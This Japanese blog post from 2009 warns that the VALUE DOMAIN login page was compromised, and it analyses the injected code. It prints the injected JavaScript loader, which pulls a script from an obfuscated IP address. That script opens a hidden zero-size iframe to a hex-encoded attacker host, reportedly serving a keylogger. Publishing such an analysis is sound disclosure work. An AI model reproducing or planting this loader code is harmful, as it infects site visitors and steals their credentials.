VALUE DOMAINにウイルスコードが仕込まれる！

VALUE DOMAINにウイルスコードが仕込まれる！

VALUE DOMAINのHPの一部のページにウイルスが仕込まれてるようです。

ウイルスコードが仕込まれているページは、VALUE DOMAINのログイン画面です。（まだ修正されてないのでリンクは切ってます）
ttps://www.value-domain.com/login.php

上記にアクセスをしたらjavascriptが読み込まれるようです。

PLAIN TEXT
JavaScript:

<SCRIPT LANGUAGE="JAVASCRIPT">

var js = document.createElement("script");

js.src = "http://1856317799:888/s.js";

try {document.getElementsByTagName('head')[0].appendChild(js);}

catch(exp){}

js = null;

</SCRIPT>

s.jsの内容

PLAIN TEXT
JavaScript:

/*dsadasdadasdasdasdas*/

if(document.cookie.indexOf("O=")==-1)

{

var js = document.createElement('iframe');

js.src = "http:\/\/0x6EA52967:888/dir/show.php";

js.width=0;

js.height=0;

try {document.getElementsByTagName('head')[0].appendChild(js);}

catch(exp){}

js = null;

var expires=new Date();

expires.setTime(expires.getTime()+24*60*60*1000);

document.cookie="O=Yes;path=/;expires="+expires.toGMTString();

}/*dasdadadsadasdas*/

URLを変換

http:\/\/0x6EA52967:888/dir/show.php
↓
http://110.135.41.103:888/dir/show.php

ある人はこのようにキーロガーが仕込まれていたと報告がありました。

97 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/07/06(月) 23:07:53 0
>>95に追記

カスペルスキーを実行させながら再実験するとこんな感じになった
そんなスクリーンショット
ttp://www.dotup.org/uploda/www.dotup.org209036.jpg

これは酷い

記事元
VALUE DOMAINってどうよ？ part33
http://pc11.2ch.net/test/read.cgi/hosting/1246828727/

私も確認してみたんですが、確かにs.jsのスクリプトがあり読み込んでいましたが、何も起りませんでした。
110.135.41.103のサーバーが落ちてたから無害だったのかも知れません。

VALUE DOMAINは前回もMMOのIDとパスワードが抜かれるスクリプトを一部のHPと、広告サーバーに仕込まれたことがありました。
アクセスする人は要注意。

最近のVALUE DOMAINはますます管理が出来てないです。
新規で借りようと思う人は止めた方が良いです。

2009年07月07日 | カテゴリ: ネットニュース |

xrea、ウイルス、レンタルサーバー

この記事のURL:

メモにどうぞ

VALUE DOMAINにウイルスコードが仕込まれる！

VALUE DOMAINにウイルスコードが仕込まれる！

最新記事